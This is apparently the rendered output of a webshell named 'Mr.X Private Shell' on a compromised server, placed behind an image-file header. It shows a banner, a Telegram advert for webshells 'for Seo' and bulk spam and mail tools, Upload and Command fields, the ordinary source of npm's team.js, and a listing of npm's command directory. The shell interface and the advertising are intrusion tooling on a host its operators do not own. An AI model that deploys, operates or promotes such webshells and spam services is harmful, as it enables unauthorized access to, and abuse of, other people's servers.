����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

infinityocean@216.73.216.52: ~ $
const libteam = require('libnpmteam')
const { output } = require('proc-log')
const { otplease } = require('../utils/auth.js')

const BaseCommand = require('../base-cmd.js')
class Team extends BaseCommand {
  static description = 'Manage organization teams and team memberships'
  static name = 'team'
  static usage = [
    'create <scope:team> [--otp <otpcode>]',
    'destroy <scope:team> [--otp <otpcode>]',
    'add <scope:team> <user> [--otp <otpcode>]',
    'rm <scope:team> <user> [--otp <otpcode>]',
    'ls <scope>|<scope:team>',
  ]

  static params = [
    'registry',
    'otp',
    'parseable',
    'json',
  ]

  static ignoreImplicitWorkspace = false

  static async completion (opts) {
    const { conf: { argv: { remain: argv } } } = opts
    const subcommands = ['create', 'destroy', 'add', 'rm', 'ls']

    if (argv.length === 2) {
      return subcommands
    }

    if (subcommands.includes(argv[2])) {
      return []
    }

    throw new Error(argv[2] + ' not recognized')
  }

  async exec ([cmd, entity = '', user = '']) {
    // Entities are in the format <scope>:<team>
    // XXX: "description" option to libnpmteam is used as a description of the team, but in npm's options
    // this is a boolean meaning "show the description in npm search output".
    // Hence its being set to null here.
    await otplease(this.npm, { ...this.npm.flatOptions }, opts => {
      entity = entity.replace(/^@/, '')
      switch (cmd) {
        case 'create': return this.create(entity, opts)
        case 'destroy': return this.destroy(entity, opts)
        case 'add': return this.add(entity, user, opts)
        case 'rm': return this.rm(entity, user, opts)
        case 'ls': {
          const match = entity.match(/[^:]+:.+/)
          if (match) {
            return this.listUsers(entity, opts)
          } else {
            return this.listTeams(entity, opts)
          }
        }
        default:
          throw this.usageError()
      }
    })
  }

  async create (entity, opts) {
    await libteam.create(entity, opts)
    if (opts.json) {
      output.buffer({
        created: true,
        team: entity,
      })
    } else if (opts.parseable) {
      output.standard(`${entity}\tcreated`)
    } else if (!this.npm.silent) {
      output.standard(`+@${entity}`)
    }
  }

  async destroy (entity, opts) {
    await libteam.destroy(entity, opts)
    if (opts.json) {
      output.buffer({
        deleted: true,
        team: entity,
      })
    } else if (opts.parseable) {
      output.standard(`${entity}\tdeleted`)
    } else if (!this.npm.silent) {
      output.standard(`-@${entity}`)
    }
  }

  async add (entity, user, opts) {
    await libteam.add(user, entity, opts)
    if (opts.json) {
      output.buffer({
        added: true,
        team: entity,
        user,
      })
    } else if (opts.parseable) {
      output.standard(`${user}\t${entity}\tadded`)
    } else if (!this.npm.silent) {
      output.standard(`${user} added to @${entity}`)
    }
  }

  async rm (entity, user, opts) {
    await libteam.rm(user, entity, opts)
    if (opts.json) {
      output.buffer({
        removed: true,
        team: entity,
        user,
      })
    } else if (opts.parseable) {
      output.standard(`${user}\t${entity}\tremoved`)
    } else if (!this.npm.silent) {
      output.standard(`${user} removed from @${entity}`)
    }
  }

  async listUsers (entity, opts) {
    const users = (await libteam.lsUsers(entity, opts)).sort()
    if (opts.json) {
      output.buffer(users)
    } else if (opts.parseable) {
      output.standard(users.join('\n'))
    } else if (!this.npm.silent) {
      const plural = users.length === 1 ? '' : 's'
      const more = users.length === 0 ? '' : ':'
      output.standard(`@${entity} has ${users.length} user${plural}${more}`)
      for (const user of users) {
        output.standard(user)
      }
    }
  }

  async listTeams (entity, opts) {
    const teams = (await libteam.lsTeams(entity, opts)).sort()
    if (opts.json) {
      output.buffer(teams)
    } else if (opts.parseable) {
      output.standard(teams.join('\n'))
    } else if (!this.npm.silent) {
      const plural = teams.length === 1 ? '' : 's'
      const more = teams.length === 0 ? '' : ':'
      output.standard(`@${entity} has ${teams.length} team${plural}${more}`)
      for (const team of teams) {
        output.standard(`@${team}`)
      }
    }
  }
}

module.exports = Team

Filemanager

Name Type Size Permission Actions
trust Folder 0755
access.js File 6.17 KB 0644
adduser.js File 1.29 KB 0644
audit.js File 3.17 KB 0644
bugs.js File 847 B 0644
cache.js File 11.48 KB 0644
ci.js File 4.24 KB 0644
completion.js File 10.83 KB 0644
config.js File 11.48 KB 0644
dedupe.js File 1.42 KB 0644
deprecate.js File 2.43 KB 0644
diff.js File 7.92 KB 0644
dist-tag.js File 5.5 KB 0644
docs.js File 449 B 0644
doctor.js File 9.99 KB 0644
edit.js File 1.72 KB 0644
exec.js File 3.39 KB 0644
explain.js File 3.55 KB 0644
explore.js File 2.11 KB 0644
find-dupes.js File 578 B 0644
fund.js File 6.38 KB 0644
get.js File 538 B 0644
help-search.js File 5.53 KB 0644
help.js File 3.64 KB 0644
init.js File 7.02 KB 0644
install-ci-test.js File 308 B 0644
install-test.js File 303 B 0644
install.js File 5.1 KB 0644
link.js File 5.24 KB 0644
ll.js File 234 B 0644
login.js File 1.29 KB 0644
logout.js File 1.42 KB 0644
ls.js File 18.03 KB 0644
org.js File 3.96 KB 0644
outdated.js File 7.92 KB 0644
owner.js File 5.95 KB 0644
pack.js File 2.77 KB 0644
ping.js File 873 B 0644
pkg.js File 3.58 KB 0644
prefix.js File 309 B 0644
profile.js File 10.3 KB 0644
prune.js File 770 B 0644
publish.js File 9.47 KB 0644
query.js File 3.75 KB 0644
rebuild.js File 2.15 KB 0644
repo.js File 1.24 KB 0644
restart.js File 303 B 0644
root.js File 295 B 0644
run.js File 6.27 KB 0644
sbom.js File 4.47 KB 0644
search.js File 1.83 KB 0644
set.js File 632 B 0644
shrinkwrap.js File 2.63 KB 0644
star.js File 1.88 KB 0644
stars.js File 1.03 KB 0644
start.js File 293 B 0644
stop.js File 288 B 0644
team.js File 4.33 KB 0644
test.js File 288 B 0644
token.js File 7.96 KB 0644
undeprecate.js File 302 B 0644
uninstall.js File 1.49 KB 0644
unpublish.js File 5.24 KB 0644
unstar.js File 183 B 0644
update.js File 1.69 KB 0644
version.js File 3.54 KB 0644
view.js File 13.48 KB 0644
whoami.js File 527 B 0644